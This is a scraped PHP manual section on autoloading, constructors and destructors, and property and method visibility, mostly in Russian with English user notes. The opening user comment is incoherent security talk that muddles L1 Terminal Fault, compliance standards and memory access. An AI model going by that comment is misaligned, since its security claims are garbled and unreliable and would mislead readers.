Each event you transfer data from one program to the next reveals another threat and another attack endpoint. When you are production, it is at this point composer and other tools that gather requirements specific secure integration should limit its use, such as PCI-DSS, HIPAA, or GDPR.

The use of a framework or polyfill gives an attacker hints at what point a function will access memory to produce intended results. Visiting the late L1-Cache Terminal Fault - attacks that use machine language to access memory and read what actually is happening will have all the details of what process is taking place and when.

Not to mention, when a product is open-source, the code is editable and easily compiled. Using access to machine level integrations a simply 10 second loss of time to process could well as infer the entire application has experienced an overhaul.

To deter this, and ensure maximum security for piece of mind and money-wise. The embedded resources of a programming language should be utilized at maximal capacity to prevent an overhaul on multiple endpoints. Visiting a system in use is not deletable or easily moved, removed or altered.
toi]n[enkayt[attaat]gmaal.com 27-Feb-2020 03:36
Autoloading plain functions is not supported by PHP at the time of writing. There is however a simple way to trick the autoloader to do this. The only thing that is needed is that the autoloader finds the searched class (or any other autoloadable piece of code) from the files it goes through and the whole file will be included to the runtime.

Let's say you have a namespaced file for functions you wish to autoload. Simply adding a class of the same name to that file with a single constant property is enough to trigger the autoloader to seek for the file. Autoloading can then be triggered by accessing the constant property.

The constant could be replaced by any static property or method or by default constructor. However, I personally find a constant named 'load' elegant and informative. After all this is a workaround. Another thing to keep in mind is that this introduces an unnecessary class to the runtime. The benefit of this is that there is no need to manually include or require files containing functions by path which in turn makes code maintaining easier. Such behaviour makes it easier to alter the project structure since manual includes need not to be fixed. Only the autoloader needs to be able to locate the moved files which can be automated.

A code file containing functions.
/Some/Namespace/Functions.php
<?php
namespace Some\Namespace;

class Functions { const load = 1; }

function a () {
}

function b () {
}
?>

Triggering autoloading of the file containing functions.
main.php
<?php
\Some\Namespace\Functions::load;

a ();
b ();
?>
str at maphpia dot com 01-Dec-2016 07:36
This is my autoloader for my PSR-4 clases. I prefer to use composer's autoloader, but this works for legacy projects that can't use composer.

<?php
/**
 * Simple autoloader, so we don't need Composer just for this.
 */
class Autoloader
{
    public static function register()
    {
        spl_autoload_register(function ($class) {
            $file = str_replace('\\', DIRECTORY_SEPARATOR, $class).'.php';
            if (file_exists($file)) {
                require $file;
                return true;
            }
            return false;
        });
    }
}
Autoloader::register();
Anonymous 08-Feb-2010 03:35
It's worth to mention, if your operating system is case-sensitive you need to name your file with same case as in source code eg. MyClass.php instead of myclass.php
jarret dot minkler at gmail dot com 07-Mar-2009 10:55
You should not have to use require_once inside the autoloader, as if the class is not found it wouldn't be trying to look for it by using the autoloader.

Just use require(), which will be better on performance as well as it does not have to check if it is unique.
kalkamar at web dot de 07-Oct-2008 10:23
Because static classes have no constructor I use this to initialize such classes.
The function init will (if available) be called when you first use the class.
The class must not be included before, otherwise the init-function wont be called as autoloading is not used.

<?php
function __autoload($class_name)
{
    require_once(CLASSES_PATH.$class_name.'.cls.php');
    if(method_exists($class_name,'init'))
        call_user_func(array($class_name,'init'));
    return true;
}
?>

I use it for example to establish the mysql-connection on demand.

It is also possilbe do add a destructor by adding this lines to the function:
<?php
if(method_exists($class_name,'destruct'))
    register_shutdown_function(array($class_name,'destruct'));
?>


Конструкторы и деструкторы

Конструктор

__construct(mixed ...$values = ""): void

PHP позволяет объявлять методы-конструкторы. Классы, в которых объявлен метод-конструктор, будут вызывать этот метод при каждом создании нового объекта, так что это может оказаться полезным, например, для инициализации какого-либо состояния объекта перед его использованием.

Замечание: Конструкторы, определённые в классах-родителях, не вызываются автоматически, если дочерний класс определяет собственный конструктор. Чтобы вызвать конструктор, объявленный в родительском классе, требуется вызвать parent::__construct() внутри конструктора дочернего класса. Если в дочернем классе не определён конструктор, то он может быть унаследован от родительского класса как обычный метод (если он не был определён как приватный).

Пример #1 Конструкторы при наследовании

<?php
class BaseClass {
function __construct() {
print "Конструктор класса BaseClass\n";
}
}

class SubClass extends BaseClass {
function __construct() {
parent::__construct();
print "Конструктор класса SubClass\n";
}
}

class OtherSubClass extends BaseClass {
// наследует конструктор BaseClass
}

// Конструктор класса BaseClass
$obj = new BaseClass();

// Конструктор класса BaseClass
// Конструктор класса SubClass
$obj = new SubClass();

// Конструктор класса BaseClass
$obj = new OtherSubClass();
?>

В отличие от других методов, __construct() освобождается от обычных правил совместимости сигнатуры при наследовании.

Конструкторы - это обычные методы, которые вызываются при инстанциировании соответствующих объектов. Следовательно, они могут иметь произвольное количество аргументов, которые могут быть обязательными, могут быть типизированными и могут иметь значения по умолчанию. Аргументы конструктора указываются в круглых скобках после имени класса.

Пример #2 Использование аргументов в конструкторах

<?php
class Point {
protected int $x;
protected int $y;

public function __construct(int $x, int $y = 0) {
$this->x = $x;
$this->y = $y;
}
}

// Передаём оба параметра.
$p1 = new Point(4, 5);
// Передаём только обязательные параметры. Для $y используется значение по умолчанию 0.
$p2 = new Point(4);
// Вызываем с именованными параметрами (начиная с PHP 8.0):
$p3 = new Point(y: 5, x: 4);
?>

Если у класса нет конструктора, или его конструктор не имеет обязательных параметров, скобки после имени класса можно не писать.

Конструкторы в старом стиле

До PHP 8.0.0, классы в глобальном пространстве имён будут интерпретировать метод, названный так же, как класс, как конструктор старого стиля. Этот синтаксис считается устаревшим и будет вызывать ошибку уровня E_DEPRECATED, но всё равно эти методы будут вызываться в качестве конструктора. Если в классе присутствуют и __construct(), и метод с именем класса, то в качестве конструктора будет вызван __construct().

Для классов, находящихся в собственном пространстве имён и для всех классов, начиная с PHP 8.0.0, метод, названный по имени класса, будет игнорироваться.

В новом коде всегда используйте __construct().

Определение свойств объекта в конструкторе

Начиная с PHP 8.0.0, параметры конструктора можно использовать для задания соответствующих свойств объекта. Это довольно распространённая практика — присваивать свойствам объекта параметры, переданные в конструктор, не производя никаких дополнительных преобразований. Определение свойств класса в конструкторе позволяет значительно сократить количество шаблонного кода для такого случая. Пример выше можно будет переписать следующим образом:

Пример #3 Использование определения свойств в конструкторе

<?php
class Point {
public function __construct(protected int $x, protected int $y = 0) {
}
}

Если декларация аргумента конструктора включает модификатор видимости, PHP интерпретирует его одновременно и как аргумент конструктора, и как свойство объекта и автоматически присвоит свойству значение, переданное в конструктор. При этом, если не предполагается какой-либо дополнительной логики, тело конструктора можно оставить пустым. Код конструктора выполнится после того, как все аргументы присвоятся всем соответствующим свойствам.

Не все передаваемые в конструктор аргументы должны быть свойствами объекта. В конструкторе можно задавать как обычные, так и являющиеся свойствами объекта аргументы в любом порядке. Аргументы-свойства никак не влияют на код, исполняемый в конструкторе.

Замечание:

Свойства объектов не могут быть типа callable в связи с неоднозначностью которую они представляют для движка PHP. Соответственно и свойства определяемые в конструкторе также не могут быть типа callable. Любые другие декларации типов допустимы.

Замечание:

Атрибуты, заданные для таких аргументов, будут применены как для них самих, так и для соответствующих свойств. Значения по умолчанию для продвигаемого аргумента конструктора будут реплицироваться только на аргумент, а не на свойство.

New в инициализации класса

Начиная с PHP 8.1.0, объекты можно использовать в качестве значений параметров по умолчанию, статических переменных и глобальных констант, а также в аргументах атрибутов. Объекты также теперь можно передавать в define().

Замечание:

Использование динамического или не строкового имени класса или анонимного класса не допускается. Использование распаковки аргументов не допускается. Использование неподдерживаемых выражений в качестве аргументов не допускается.

Пример #4 Пример использования new в инициализации класса

<?php
// Всё допустимо:
static $x = new Foo;
const C = new Foo;

function test($param = new Foo) {}

#[AnAttribute(new Foo)]
class Test {
public function __construct(
public $prop = new Foo,
) {}
}
// Всё не допустимо (ошибка во времени компиляции):
function test(
$a = new (CLASS_NAME_CONSTANT)(), // динамическое имя класса
$b = new class {}, // анонимный класс
$c = new A(...[]), // распаковка аргументов
$d = new B($abc), // неподдерживаемое постоянное выражение
) {}
?>

Статические методы создания объекта

PHP поддерживает только один конструктор для класса. Однако в некоторых случаях есть необходимость создавать объект разными путями в зависимости от разных входных данных. Рекомендуемый способ - использовать статические методы как обёртки над конструктором.

Пример #5 Использование статических методов для создания объектов

<?php
class Product {

private ?int $id;
private ?string $name;

private function __construct(?int $id = null, ?string $name = null) {
$this->id = $id;
$this->name = $name;
}

public static function fromBasicData(int $id, string $name): static {
$new = new static($id, $name);
return $new;
}

public static function fromJson(string $json): static {
$data = json_decode($json);
return new static($data['id'], $data['name']);
}

public static function fromXml(string $xml): static {
// Пользовательская логика.
$data = convert_xml_to_array($xml);
$new = new static();
$new->id = $data['id'];
$new->name = $data['name'];
return $new;
}
}

$p1 = Product::fromBasicData(5, 'Widget');
$p2 = Product::fromJson($some_json_string);
$p3 = Product::fromXml($some_xml_string);

Конструктор можно сделать скрытым или защищённым для предотвращения его прямого вызова. В таком случае объект класса можно будет создать только с помощью статических методов. Так как это методы того же класса, они имеют доступ ко всем его скрытым методам, даже если они относятся к разным экземплярам класса. Скрытый конструктор опционален и может присутствовать или отсутствовать по необходимости.

В примере выше три публичных статических метода демонстрируют различные способы создания экземпляра объекта.

  • fromBasicData() принимает явные параметры, создаёт экземпляр класса через конструктор и возвращает объект.
  • fromJson() принимает JSON строку, производит над ней некоторые преобразования, извлекает данные необходимые для создания объекта и, так же как и предыдущий метод, вызывает конструктор и возвращает созданный объект.
  • fromXml() принимает XML строку, извлекает нужные данные и, так как в конструкторе нет обязательных параметров, вызывает его без них. После этого, так как ему доступны скрытые свойства, он присваивает им значения напрямую. После чего возвращает готовый объект.

Во всех трёх случаях, ключевое слово static транслируется в имя класса, в котором этот код вызывается. В нашем случае Product.

Деструкторы

__destruct(): void

PHP предоставляет концепцию деструктора, аналогичную с той, которая применяется в других ОО-языках, таких как C++. Деструктор будет вызван при освобождении всех ссылок на определённый объект или при завершении скрипта (порядок выполнения деструкторов не гарантируется).

Пример #6 Пример использования деструктора

<?php
class MyDestructableClass
{
function __construct() {
print "Конструктор\n";
}

function __destruct() {
print "Уничтожается " . __CLASS__ . "\n";
}
}

$obj = new MyDestructableClass();

Как и в случае с конструкторами, деструкторы, объявленные в родительском классе, не будут вызываться автоматически. Для вызова деструктора родительского класса, требуется вызвать parent::__destruct() в теле деструктора дочернего класса. Подобно конструкторам, дочерний класс может унаследовать деструктор из родительского класса, если он не определён в нем.

Деструктор будет вызываться даже в том случае, если скрипт был остановлен с помощью функции exit(). Вызов exit() в деструкторе предотвратит запуск всех последующих функций завершения.

Замечание:

Деструкторы, вызываемые при завершении скрипта, вызываются после отправки HTTP-заголовков. Рабочая директория во время фазы завершения скрипта может отличаться в некоторых SAPI (например, в Apache).

Замечание:

Попытка выбросить исключение из деструктора (вызываемого во время завершения скрипта) вызывает фатальную ошибку.

User Contributed Notes

Hayley Watson 29-Aug-2023 03:11
There are other advantages to using static factory methods to wrap object construction instead of bare constructor calls.

As well as allowing for different methods to use in different scenarios, with more relevant names both for the methods and the parameters and without the constructor having to handle different sets of arguments of different types:

* You can do all your input validation before attempting to construct the object.
* The object itself can bypass that input validation when constructing new instances of its own class, since you can ensure that it knows what it's doing.
* With input validation/preprocessing moved to the factory methods, the constructor itself can often be reduced to "set these properties to these arguments", meaning the constructor promotion syntax becomes more useful.
* Having been hidden away from users, the constructor's signature can be a bit uglier without becoming a pain for them. Heh.
* Static methods can be lifted and passed around as first class closures, to be called in the normal fashion wherever functions can be called, without the special "new" syntax.
* The factory method need not return a new instance of that exact class. It could return a pre-existing instance that would do the same job as the new one would (especially useful in the case of immutable "value type" objects by reducing duplication); or a simpler or more specific subclass to do the job with less overhead than a more generic instance of the original class. Returning a subclass means LSP still holds.
ziggy at start dot dust 16-Aug-2022 09:04
Please note that constructor argument promotion is kind of half-baked (at least as of 8.1 and it does not look to be changed in 8.2) and you are not allowed to reuse promoted argument with other promoted arguments. For example having "old style" constructor:

<?php
public function __construct(protected string $val, protected Foo $foo = null) {
    $this->val = $val;
    $this->foo = $foo ?? new Foo($val);
}
?>

you will not be able to use argument promotion like this:

<?php
public function __construct(protected string $val, protected Foo $foo = new Foo($val)) {}
?>

nor

<?php
public function __construct(protected string $val, protected Foo $foo = new Foo($this->val)) {}
?>

as in both cases you will face "PHP Fatal error:  Constant expression contains invalid operations".
mmulej at gmail dot com 10-Mar-2022 04:56
*<Double post> I can't edit my previous note to elaborate on modifiers. Please excuse me.*

If both parent and child classes have a method with the same name defined, and it is called in parent's constructor, using `parent::__construct()` will call the method in the child.

<?php

class A {
    public function __construct() {
        $this->method();
    }
    public function method() {
        echo 'A' . PHP_EOL;
    }
}
class B extends A {
    public function __construct() {
        parent::__construct();
    }
}
class C extends A {
    public function __construct() {
        parent::__construct();
    }
    public function method() {
        echo 'C' . PHP_EOL;
    }
}
$b = new B; // A
$c = new C; // C

?>

In this example both A::method and C::method are public.

You may change A::method to protected, and C::method to protected or public and it will still work the same.

If however you set A::method as private, it doesn't matter whether C::method is private, protected or public. Both $b and $c will echo 'A'.
instatiendaweb at gmail dot com 27-Feb-2021 10:07
/**
 * Haciendo una prueba con dos clases y dos destructores
 * La prueba consta de acceder a la variable global del primer objeto en el segundo
 * objeto el destructor 2
 * Primera clase ==> $GLOBALS['obj']
 * SEgunda clase ==> $GLOBALS['obj2']
 * Se ejecuta construct y todo el codigo....
 * Primer destruct borra el objeto y lo hace null
 * Tratamos de acceder a $GLOBALS['obj'] en el segundo destruct pero
 * ya no esta es un objeto null
 * Warning: Undefined array key "obj" in...
 */

class MyDestructableClass{
public $parametro;

     function __construct($parametro) {
echo("<div class=\"div\">"), "Construyendo ",__CLASS__ , ("</div>");
         escribir::verifacionnota($this ,'Antes de guardar la variable  ');
         $this->parametro = $parametro;
         escribir::verifacionnota($this ,'Despues de guardar la variable  ');
     }

     function __destruct() {
        escribir::linea(5); //Separador
        echo("<div class=\"div\">"), "Destruyendo " ,  __CLASS__ , ("</div>");
        escribir::verifacionnota($this ,'Antes de borrar la variable  ');
        unset($this->parametro);
        escribir::verifacionnota($this ,'Despues de borrar la variable  ');

       // unset($GLOBALS[$this]);
     }
 }

 $obj = new MyDestructableClass('parametroone');
 escribir::verifacionnota($obj ,' Verificar la clase MyDestructableClass, no es necesario
 borrar la clase porque se ejecuta al final del script  ');
 escribir::titulosep('Provando ejemplo aqui se puede acceder a la variable global');
 escribir::verificacion($GLOBALS['obj']);

class destructora{
    function __destruct(){
        escribir::titulosep('Sin embargo esta variable muere aqui');
        escribir::verificacion($GLOBALS['obj']);
    }
}

$obj2 = new destructora();
iwwp at outlook dot com 16-Jan-2020 07:58
To better understand the __destrust method:

class A {
    protected $id;

    public function __construct($id)
    {
        $this->id = $id;
        echo "construct {$this->id}\n";
    }

    public function __destruct()
    {
        echo "destruct {$this->id}\n";
    }
}

$a = new A(1);
echo "-------------\n";
$aa = new A(2);
echo "=============\n";

The output content:

construct 1
-------------
construct 2
=============
destruct 2
destruct 1
domger at freenet dot de 14-Aug-2017 07:53
The __destruct magic method must be public.

public function __destruct()
{
    ;
}

The method will automatically be called externally to the instance.  Declaring __destruct as protected or private will result in a warning and the magic method will not be called.

Note: In PHP 5.3.10 i saw strange side effects while some Destructors were declared as protected.
Yousef Ismaeil cliprz[At]gmail[Dot]com 22-Aug-2013 09:06
<?php

/**
 * a funny example Mobile class
 *
 * @author Yousef Ismaeil Cliprz[At]gmail[Dot]com
 */

class Mobile {

    /**
     * Some device properties
     *
     * @var string
     * @access public
     */
    public $deviceName,$deviceVersion,$deviceColor;

    /**
     * Set some values for Mobile::properties
     *
     * @param string device name
     * @param string device version
     * @param string device color
     */
    public function __construct ($name,$version,$color) {
        $this->deviceName = $name;
        $this->deviceVersion = $version;
        $this->deviceColor = $color;
        echo "The ".__CLASS__." class is stratup.<br /><br />";
    }

    /**
     * Some Output
     *
     * @access public
     */
    public function printOut () {
        echo 'I have a '.$this->deviceName
            .' version '.$this->deviceVersion
            .' my device color is : '.$this->deviceColor;
    }

    /**
     * Umm only for example we will remove Mobile::$deviceName Hum not unset only to check how __destruct working
     *
     * @access public
     */
    public function __destruct () {
        $this->deviceName = 'Removed';
        echo '<br /><br />Dumpping Mobile::deviceName to make sure its removed, Olay :';
        var_dump($this->deviceName);
        echo "<br />The ".__CLASS__." class is shutdown.";
    }

}

// Oh ya instance
$mob = new Mobile('iPhone','5','Black');

// print output
$mob->printOut();

?>

The Mobile class is stratup.

I have a iPhone version 5 my device color is : Black

Dumpping Mobile::deviceName to make sure its removed, Olay :
string 'Removed' (length=7)

The Mobile class is shutdown.
Per Persson 09-May-2012 01:57
As of PHP 5.3.10 destructors are not run on shutdown caused by fatal errors.

For example:
<?php
class Logger
{
    protected $rows = array();

    public function __destruct()
    {
        $this->save();
    }

    public function log($row)
    {
        $this->rows[] = $row;
    }

    public function save()
    {
        echo '<ul>';
        foreach ($this->rows as $row)
        {
            echo '<li>', $row, '</li>';
        }
        echo '</ul>';
    }
}

$logger = new Logger;
$logger->log('Before');

$nonset->foo();

$logger->log('After');
?>

Without the $nonset->foo(); line, Before and After will both be printed, but with the line neither will be printed.

One can however register the destructor or another method as a shutdown function:
<?php
class Logger
{
    protected $rows = array();

    public function __construct()
    {
        register_shutdown_function(array($this, '__destruct'));
    }

    public function __destruct()
    {
        $this->save();
    }

    public function log($row)
    {
        $this->rows[] = $row;
    }

    public function save()
    {
        echo '<ul>';
        foreach ($this->rows as $row)
        {
            echo '<li>', $row, '</li>';
        }
        echo '</ul>';
    }
}

$logger = new Logger;
$logger->log('Before');

$nonset->foo();

$logger->log('After');
?>
Now Before will be printed, but not After, so you can see that a shutdown occurred after Before.
david dot scourfield at llynfi dot co dot uk 12-Aug-2011 04:17
Be aware of potential memory leaks caused by circular references within objects.  The PHP manual states "[t]he destructor method will be called as soon as all references to a particular object are removed" and this is precisely true: if two objects reference each other (or even if one object has a field that points to itself as in $this->foo = $this) then this reference will prevent the destructor being called even when there are no other references to the object at all.  The programmer can no longer access the objects, but they still stay in memory.

Consider the following example:

<?php

header("Content-type: text/plain");

class Foo {

    /**
     * An indentifier
     * @var string
     */
    private $name;
    /**
     * A reference to another Foo object
     * @var Foo
     */
    private $link;

    public function __construct($name) {
        $this->name = $name;
    }

    public function setLink(Foo $link){
        $this->link = $link;
    }

    public function __destruct() {
        echo 'Destroying: ', $this->name, PHP_EOL;
    }
}

// create two Foo objects:
$foo = new Foo('Foo 1');
$bar = new Foo('Foo 2');

// make them point to each other
$foo->setLink($bar);
$bar->setLink($foo);

// destroy the global references to them
$foo = null;
$bar = null;

// we now have no way to access Foo 1 or Foo 2, so they OUGHT to be __destruct()ed
// but they are not, so we get a memory leak as they are still in memory.
//
// Uncomment the next line to see the difference when explicitly calling the GC:
// gc_collect_cycles();
//
// see also: http://www.php.net/manual/en/features.gc.php
//

// create two more Foo objects, but DO NOT set their internal Foo references
// so nothing except the vars $foo and $bar point to them:
$foo = new Foo('Foo 3');
$bar = new Foo('Foo 4');

// destroy the global references to them
$foo = null;
$bar = null;

// we now have no way to access Foo 3 or Foo 4 and as there are no more references
// to them anywhere, their __destruct() methods are automatically called here,
// BEFORE the next line is executed:

echo 'End of script', PHP_EOL;

?>

This will output:

Destroying: Foo 3
Destroying: Foo 4
End of script
Destroying: Foo 1
Destroying: Foo 2

But if we uncomment the gc_collect_cycles(); function call in the middle of the script, we get:

Destroying: Foo 2
Destroying: Foo 1
Destroying: Foo 3
Destroying: Foo 4
End of script

As may be desired.

NOTE: calling gc_collect_cycles() does have a speed overhead, so only use it if you feel you need to.
Jonathon Hibbard 09-Jan-2010 04:32
Please be aware of when using __destruct() in which you are unsetting variables...

Consider the following code:
<?php
class my_class {
  public $error_reporting = false;

  function __construct($error_reporting = false) {
    $this->error_reporting = $error_reporting;
  }

  function __destruct() {
    if($this->error_reporting === true) $this->show_report();
    unset($this->error_reporting);
  }
?>

The above will result in an error:
Notice: Undefined property: my_class::$error_reporting in my_class.php on line 10

It appears as though the variable will be unset BEFORE it actually can execute the if statement.  Removing the unset will fix this.  It's not needed anyways as PHP will release everything anyways, but just in case you run across this, you know why ;)
spleen 17-Oct-2008 04:35
It's always the easy things that get you -

Being new to OOP, it took me quite a while to figure out that there are TWO underscores in front of the word __construct.

It is __construct
Not _construct

Extremely obvious once you figure it out, but it can be sooo frustrating until you do.

I spent quite a bit of needless time debugging working code.

I even thought about it a few times, thinking it looked a little long in the examples, but at the time that just seemed silly(always thinking "oh somebody would have made that clear if it weren't just a regular underscore...")

All the manuals I looked at, all the tuturials I read, all the examples I browsed through  - not once did anybody mention this!

(please don't tell me it's explained somewhere on this page and I just missed it,  you'll only add to my pain.)

I hope this helps somebody else!
bolshun at mail dot ru 16-Apr-2008 06:13
Ensuring that instance of some class will be available in destructor of some other class is easy: just keep a reference to that instance in this other class.
david at synatree dot com 29-Dec-2007 01:26
When a script is in the process of die()ing, you can't count on the order in which __destruct() will be called.

For a script I have been working on, I wanted to do transparent low-level encryption of any outgoing data.  To accomplish this, I used a global singleton class configured like this:

class EncryptedComms
{
    private $C;
    private $objs = array();
    private static $_me;

    public static function destroyAfter(&$obj)
    {
        self::getInstance()->objs[] =& $obj;
        /*
            Hopefully by forcing a reference to another object to exist
            inside this class, the referenced object will need to be destroyed
            before garbage collection can occur on this object.  This will force
            this object's destruct method to be fired AFTER the destructors of
            all the objects referenced here.
        */
    }
    public function __construct($key)
    {
            $this->C = new SimpleCrypt($key);
            ob_start(array($this,'getBuffer'));
    }
    public static function &getInstance($key=NULL)
    {
        if(!self::$_me && $key)
            self::$_me = new EncryptedComms($key);
        else
            return self::$_me;
    }

    public function __destruct()
    {
        ob_end_flush();
    }

    public function getBuffer($str)
    {
        return $this->C->encrypt($str);
    }

}

In this example, I tried to register other objects to always be destroyed just before this object.  Like this:

class A
{

public function __construct()
{
     EncryptedComms::destroyAfter($this);
}
}

One would think that the references to the objects contained in the singleton would be destroyed first, but this is not the case.  In fact, this won't work even if you reverse the paradigm and store a reference to EncryptedComms in every object you'd like to be destroyed before it.

In short, when a script die()s, there doesn't seem to be any way to predict the order in which the destructors will fire.
prieler at abm dot at 27-Jul-2007 12:42
i have written a quick example about the order of destructors and shutdown functions in php 5.2.1:

<?php
class destruction {
    var $name;

    function destruction($name) {
        $this->name = $name;
        register_shutdown_function(array(&$this, "shutdown"));
    }

    function shutdown() {
        echo 'shutdown: '.$this->name."\n";
    }

    function __destruct() {
        echo 'destruct: '.$this->name."\n";
    }
}

$a = new destruction('a: global 1');

function test() {
    $b = new destruction('b: func 1');
    $c = new destruction('c: func 2');
}
test();

$d = new destruction('d: global 2');

?>

this will output:
shutdown: a: global 1
shutdown: b: func 1
shutdown: c: func 2
shutdown: d: global 2
destruct: b: func 1
destruct: c: func 2
destruct: d: global 2
destruct: a: global 1

conclusions:
destructors are always called on script end.
destructors are called in order of their "context": first functions, then global objects
objects in function context are deleted in order as they are set (older objects first).
objects in global context are deleted in reverse order (older objects last)

shutdown functions are called before the destructors.
shutdown functions are called in there "register" order. ;)

regards, J
Reza Mahjourian 10-Jul-2006 02:18
Peter has suggested using static methods to compensate for unavailability of multiple constructors in PHP.  This works fine for most purposes, but if you have a class hierarchy and want to delegate parts of initialization to the parent class, you can no longer use this scheme.  It is because unlike constructors, in a static method you need to do the instantiation yourself.  So if you call the parent static method, you will get an object of parent type which you can't continue to initialize with derived class fields.

Imagine you have an Employee class and a derived HourlyEmployee class and you want to be able to construct these objects out of some XML input too.

<?php
class Employee {
   public function __construct($inName) {
       $this->name = $inName;
   }

   public static function constructFromDom($inDom)
   {
       $name = $inDom->name;
       return new Employee($name);
   }

   private $name;
}

class HourlyEmployee extends Employee {
   public function __construct($inName, $inHourlyRate) {
       parent::__construct($inName);
       $this->hourlyRate = $inHourlyRate;
   }

   public static function constructFromDom($inDom)
   {
       // can't call parent::constructFromDom($inDom)
       // need to do all the work here again
       $name = $inDom->name;  // increased coupling
       $hourlyRate = $inDom->hourlyrate;
       return new EmployeeHourly($name, $hourlyRate);
   }

   private $hourlyRate;
}
?>

The only solution is to merge the two constructors in one by adding an optional $inDom parameter to every constructor.


Область видимости

Область видимости свойства, метода или константы (начиная c PHP 7.1.0) может быть определена путём использования следующих ключевых слов в объявлении: public, protected или private. Доступ к свойствам и методам класса, объявленным как public (общедоступный), разрешён отовсюду. Модификатор protected (защищённый) разрешает доступ самому классу, наследующим его классам и родительским классам. Модификатор private (закрытый) ограничивает область видимости так, что только класс, где объявлен сам элемент, имеет к нему доступ.

Область видимости свойства

Свойства класса могут быть определены как public, private или protected. Свойства, объявленные без явного ключевого слова области видимости, определяются как общедоступные (public).

Пример #1 Объявление свойства класса

<?php
/**
* Определение MyClass
*/
class MyClass
{
public $public = 'Public';
protected $protected = 'Protected';
private $private = 'Private';

function printHello()
{
echo $this->public;
echo $this->protected;
echo $this->private;
}
}

$obj = new MyClass();
echo $obj->public; // Работает
echo $obj->protected; // Неисправимая ошибка
echo $obj->private; // Неисправимая ошибка
$obj->printHello(); // Выводит Public, Protected и Private

/**
* Определение MyClass2
*/
class MyClass2 extends MyClass
{
// Мы можем переопределить общедоступные и защищённые свойства, но не закрытые
public $public = 'Public2';
protected $protected = 'Protected2';

function printHello()
{
echo $this->public;
echo $this->protected;
echo $this->private;
}
}

$obj2 = new MyClass2();
echo $obj2->public; // Работает
echo $obj2->private; // Неопределён
echo $obj2->protected; // Неисправимая ошибка
$obj2->printHello(); // Выводит Public2, Protected2, Undefined

?>

Область видимости метода

Методы класса могут быть определены как public, private или protected. Методы, объявленные без указания области видимости, определяются как public.

Пример #2 Объявление метода

<?php
/**
* Определение MyClass
*/
class MyClass
{
// Объявление общедоступного конструктора
public function __construct() { }

// Объявление общедоступного метода
public function MyPublic() { }

// Объявление защищённого метода
protected function MyProtected() { }

// Объявление закрытого метода
private function MyPrivate() { }

// Это общедоступный метод
function Foo()
{
$this->MyPublic();
$this->MyProtected();
$this->MyPrivate();
}
}

$myclass = new MyClass;
$myclass->MyPublic(); // Работает
$myclass->MyProtected(); // Неисправимая ошибка
$myclass->MyPrivate(); // Неисправимая ошибка
$myclass->Foo(); // Работает общедоступный, защищённый и закрытый

/**
* Определение MyClass2
*/
class MyClass2 extends MyClass
{
// Это общедоступный метод
function Foo2()
{
$this->MyPublic();
$this->MyProtected();
$this->MyPrivate(); // Неисправимая ошибка
}
}

$myclass2 = new MyClass2;
$myclass2->MyPublic(); // Работает
$myclass2->Foo2(); // Работает общедоступный и защищённый, закрытый не работает

class Bar
{
public function test() {
$this->testPrivate();
$this->testPublic();
}

public function testPublic() {
echo "Bar::testPublic\n";
}

private function testPrivate() {
echo "Bar::testPrivate\n";
}
}

class Foo extends Bar
{
public function testPublic() {
echo "Foo::testPublic\n";
}

private function testPrivate() {
echo "Foo::testPrivate\n";
}
}

$myFoo = new Foo();
$myFoo->test(); // Bar::testPrivate
// Foo::testPublic
?>

Область видимости констант

Начиная с PHP 7.1.0, константы класса могут быть определены как public, private или protected. Константы, объявленные без указания области видимости, определяются как public.

Пример #3 Объявление констант, начиная с PHP 7.1.0

<?php
/**
* Объявление класса MyClass
*/
class MyClass
{
// Объявление общедоступной константы
public const MY_PUBLIC = 'public';

// Объявление защищённой константы
protected const MY_PROTECTED = 'protected';

// Объявление закрытой константы
private const MY_PRIVATE = 'private';

public function foo()
{
echo self::MY_PUBLIC;
echo self::MY_PROTECTED;
echo self::MY_PRIVATE;
}
}

$myclass = new MyClass();
MyClass::MY_PUBLIC; // Работает
MyClass::MY_PROTECTED; // Неисправимая ошибка
MyClass::MY_PRIVATE; // Неисправимая ошибка
$myclass->foo(); // Выводятся константы public, protected и private

/**
* Объявление класса MyClass2
*/
class MyClass2 extends MyClass
{
// Публичный метод
function foo2()
{
echo self::MY_PUBLIC;
echo self::MY_PROTECTED;
echo self::MY_PRIVATE; // Неисправимая ошибка
}
}

$myclass2 = new MyClass2;
echo MyClass2::MY_PUBLIC; // Работает
$myclass2->foo2(); // Выводятся константы public и protected, но не private
?>

Видимость из других объектов

Объекты, которые имеют общий тип (наследуются от одного класса), имеют доступ к элементам с модификаторами private и protected друг друга, даже если не являются одним и тем же экземпляром. Это объясняется тем, что реализация видимости элементов известна внутри этих объектов.

Пример #4 Доступ к элементам с модификатором private из объектов одного типа

<?php
class Test
{
private $foo;

public function __construct($foo)
{
$this->foo = $foo;
}

private function bar()
{
echo 'Доступ к закрытому методу.';
}

public function baz(Test $other)
{
// Мы можем изменить закрытое свойство:
$other->foo = 'привет';
var_dump($other->foo);

// Мы также можем вызвать закрытый метод:
$other->bar();
}
}

$test = new Test('test');

$test->baz(new Test('other'));
?>

Результат выполнения данного примера:

string(6) "привет"
Доступ к закрытому методу.

User Contributed Notes

alperenberatdurmus at gmail dot com 17-Apr-2023 08:57
Dynamic properties are "public".
<?php
class MyClass {
    public function setProperty($value) {
        $this->dynamicProperty = $value;
    }
}
$obj = new MyClass();
$obj->setProperty('Hello World');
echo $obj->dynamicProperty; // Outputs "Hello World"
?>

This usage is the same as well:
<?php
class MyClass {
}
$obj = new MyClass();
$obj->dynamicProperty = 'Hello World';
echo $obj->dynamicProperty; // Outputs "Hello World"
?>
kostya at eltexsoft dot com 23-Aug-2021 10:05
I see we can redeclare private properties into child class
<?php
 class A{
        private int $private_prop = 4;
        protected int $protected_prop = 8;
    }

    class B extends A{
        private int $private_prop = 7; // we can redeclare private property!!!
        public function printAll() {
            echo $this->private_prop;
            echo $this->protected_prop;
    }
    }

    $b = new B;
    $b->printAll(); // show 78
}
?>
tvitcom at yandex dot ru 16-Sep-2020 04:49
<?php
//PHP Version 7.4.5 (compiled, as mod_cgi)

class BaseOne {
    public function Print($a) {
        return $a . '123';
    }

    private function PrintPrivate($a) {
        return $a . '123';
    }

    protected function PrintProtected($a) {
        return $a . '123';
    }
}

class BaseTwo extends BaseOne {}

$b = new BaseTwo();

echo $b->Print('000');
echo $b->PrintPrivate("000");//Fatal error: Uncaught Error: Call to private method BaseOne::PrintPrivate() from context...
echo $b->PrintProtected("000");//Fatal error: Uncaught Error: Call to protected method BaseOne::PrintProtected() from context...
benjam 01-Jun-2020 09:16
When overriding a private method with a more visible child method, the parent method may be called instead.

<?php

class Parent {
    private function foo() {
